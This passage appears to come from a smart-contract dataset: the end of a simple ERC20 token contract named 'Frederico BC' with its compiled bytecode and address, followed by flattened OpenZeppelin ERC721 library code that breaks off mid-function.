@dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Jancok is StandardToken { string public name = "Frederico BC"; string public symbol = "FBC"; uint8 public decimals = 18; /** * @dev Constructor, takes intial Token. */ function Jancok() public { totalSupply_ = 3000000 * 1 ether; balances[msg.sender] = totalSupply_; } /** * @dev Batch transfer some tokens to some addresses, address and value is one-on-one. * @param _dests Array of addresses * @param _values Array of transfer tokens number */ function batchTransfer(address[] _dests, uint256[] _values) public { require(_dests.length == _values.length); uint256 i = 0; while (i < _dests.length) { transfer(_dests[i], _values[i]); i += 1; } } /** * @dev Batch transfer equal tokens amout to some addresses * @param _dests Array of addresses * @param _value Number of transfer tokens amount */ function batchTransferSingleValue(address[] _dests, uint256 _value) public { uint256 i = 0; while (i < _dests.length) { transfer(_dests[i], _value); i += 1; } } }
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ca578063095ea7b31461015a57806318160ddd146101bf57806323b872dd146101ea578063313ce5671461026f57806366188463146102a057806370a082311461030557806388d695b21461035c5780638fa1ae051461040557806395d89b4114610475578063a9059cbb14610505578063d73dd6231461056a578063dd62ed3e146105cf575b600080fd5b3480156100d657600080fd5b506100df610646565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011f578082015181840152602081019050610104565b50505050905090810190601f16801561014c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016657600080fd5b506101a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e4565b604051808215151515815260200191505060405180910390f35b3480156101cb57600080fd5b506101d46107d6565b6040518082815260200191505060405180910390f35b3480156101f657600080fd5b50610255600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e0565b604051808215151515815260200191505060405180910390f35b34801561027b57600080fd5b50610284610b9a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102ac57600080fd5b506102eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bad565b604051808215151515815260200191505060405180910390f35b34801561031157600080fd5b50610346600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e3e565b6040518082815260200191505060405180910390f35b34801561036857600080fd5b506104036004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610e86565b005b34801561041157600080fd5b506104736004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190505050610eef565b005b34801561048157600080fd5b5061048a610f30565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ca5780820151818401526020810190506104af565b50505050905090810190601f1680156104f75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051157600080fd5b50610550600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fce565b604051808215151515815260200191505060405180910390f35b34801561057657600080fd5b506105b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111ed565b604051808215151515815260200191505060405180910390f35b3480156105db57600080fd5b50610630600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113e9565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106dc5780601f106106b1576101008083540402835291602001916106dc565b820191906000526020600020905b8154815290600101906020018083116106bf57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561081d57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561086a57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108f557600080fd5b610946826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461147090919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109d9826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461148990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610aaa82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461147090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cbe576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d52565b610cd1838261147090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600081518351141515610e9857600080fd5b600090505b8251811015610eea57610ede8382815181101515610eb757fe5b906020019060200201518383815181101515610ecf57fe5b90602001906020020151610fce565b50600181019050610e9d565b505050565b60008090505b8251811015610f2b57610f1f8382815181101515610f0f57fe5b9060200190602002015183610fce565b50600181019050610ef5565b505050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fc65780601f10610f9b57610100808354040283529160200191610fc6565b820191906000526020600020905b815481529060010190602001808311610fa957829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561100b57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561105857600080fd5b6110a9826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461147090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061113c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461148990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061127e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461148990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561147e57fe5b818303905092915050565b600080828401905083811015151561149d57fe5b80915050929150505600a165627a7a72305820fd5e096216e35fbcf1cc6391060fd920ff481d429eff747d0e008cdcb8ea2c2c0029
[ 38 ]
0xf1c99e801a7000c2977d296732c9658de9485eeb
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { 